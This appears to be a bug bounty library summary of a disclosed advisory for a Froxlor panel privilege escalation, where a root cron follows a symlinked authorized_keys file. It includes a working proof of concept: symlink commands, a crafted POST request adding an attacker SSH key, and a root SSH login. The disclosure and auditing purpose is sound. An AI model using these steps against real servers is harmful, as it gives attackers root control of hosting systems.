# Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path

Froxlor's root cron appends SSH keys to a customer-controlled ~/.ssh/authorized_keys without rejecting symlinks, letting a shell-enabled customer redirect the write into /root/.ssh/authorized_keys for root SSH access.

- Payout: Research
- Severity: high
- Program: Froxlor
- Found by: larlarua
- Disclosed: 2026-05-29
- CVE: CVE-2026-41236
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mq5v-pxpm-8jw2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mq5v-pxpm-8jw2
- Tags: area:cloud domain:infra impact:privesc impact:rce kind:research platform:ghsa sev:high tech:linux tech:php technique:source-review vuln:path-traversal vuln:privilege-escalation

**Target:** Froxlor panel SSH key sync cron (SshKeys::generateFiles) writing authorized_keys
**Root cause:** The root-owned cron derives the authorized_keys path by string concatenation and makeCorrectFile() only normalizes the string without resolving or rejecting symlinks, so a customer-placed symlink redirects the privileged append.
**Steps:**
1. As the customer shell account, run `mkdir -p ~/.ssh; rm -f ~/.ssh/authorized_keys; ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys`
2. From an authenticated customer session POST to `/customer_ftp.php?page=sshkeys&action=add` with `send=send`, `ftpuser=17`, and `ssh_pubkey=ssh-ed25519 AAAA... attacker@host`
3. Wait for the master cron to process the queued `REBUILD_NSSUSERS` task
4. Authenticate with `ssh -i id_ed25519 root@target.example`
**How found:** Code review of the privileged SshKeys::generateFiles() cron path: noticed the target path is built by concatenation and passed through makeCorrectFile(), which only normalizes slashes/backslashes and never resolves symlinks, while the home directory is customer-owned.
**Exploitation:** Attacker with a shell-enabled customer account and home-directory write access replaces ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys, submits their public key via the panel, and the root cron's file_put_contents with FILE_APPEND follows the link, appending the key to root's authorized_keys; attacker then SSHes in as root.
**Escalation:** Customer-level shell access escalates to full root OS control; prerequisite shell_allowed=1 may be obtained via a companion FTP shell-assignment authorization bypass.
**Insight:** When auditing root cron jobs that write into user-owned directories, check whether path-sanitizing helpers actually resolve symlinks (realpath/lstat) or merely normalize strings; any append/chown/chgrp on a user-controlled path is a symlink-redirect primitive to arbitrary root-owned files.

## Proof of concept (copied exactly from the original report)

**Symlink authorized_keys to root's file**

```
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
```

**POST request submitting attacker SSH key**

```
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
```

**SSH login as root with attacker key**

```
ssh -i id_ed25519 root@target.example
```

